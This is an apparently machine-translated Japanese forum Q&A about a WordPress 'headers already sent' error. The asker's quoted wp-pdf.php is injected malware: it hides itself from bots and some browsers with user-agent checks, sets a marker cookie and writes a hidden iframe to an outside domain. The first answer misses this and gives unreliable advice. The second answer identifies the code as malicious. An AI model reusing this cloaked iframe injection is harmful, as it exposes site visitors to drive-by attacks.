1

私はこれが古典的であることを知っています.Wordpressからのエラーメッセージがあります.

警告: ヘッダー情報を変更できません - /home/quanscom/public_html/blog/wp-includes/feed-rss2 の (/home/quanscom/public_html/blog/wp-pdf.php:8 で開始される出力) によって既に送信されたヘッダー。 php 8行目

通常はファイル内のガベージ スペースまたは行から発生していることはわかっていますが、今回は違うようです。

私はこれらすべてのリンクをたどってきました:

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=警告%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss

そして特にこれ:

http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent

しかし、何も変わっていません。最後のリンクでアドバイスされているように、これら 2 つのファイルを元のファイルに置き換えましたが、何も変わりませんでした。どなたか新鮮な目で見ていただけませんか?ありがとうございます。以下の 2 つのページがあります。

wp-pdfphp :

    <?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
   !@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
    if (!is_feed()) {
        echo '<script type="text/javascript">
                d=new Date();
                d.setDate(d.getDate()+1);
                document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
                </script>';
        echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
    }
}
?>

フィード-rss2.php:

<?php
/**
 * RSS2 Feed Template for displaying RSS2 Posts feed.
 *
 * @package WordPress
 */

header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;

echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    <?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.
4

2 に答える 2

1

wp-pdf.php ファイルの 8 行目には、echo ステートメントがあります。また、feed-rss2.php には、基本的に応答のヘッダーを設定しようとする header() 関数があります。出力は wp-pdf.php ファイルで既に行われているため、このエラーが発生しています。

これを解決するには、echo ステートメントをこの条件で囲むことができます。

if (!is_feed()) {
    // your echo statement here
}
于 2012-04-19T06:38:45.837 に答える
0

wp-pdf.php ファイルのコードをよく見ると、少し悪意があるように見えます。あなたのページの非表示の iframe を、本当に悪意があるように見えるドメインに含めています。また、コードはページが検索エンジンによって参照されたかどうかをチェックしています。

あなたがこのコードを継承していることは知っています。このファイルが存在するフル パスを教えてもらえますか?

編集

wp-pdf.php ファイルを削除できると思います。削除すると、最初に含まれていた場所で別のエラーが発生する可能性があります。そこに行って参照を削除することもできます。

于 2012-04-20T06:02:02.617 に答える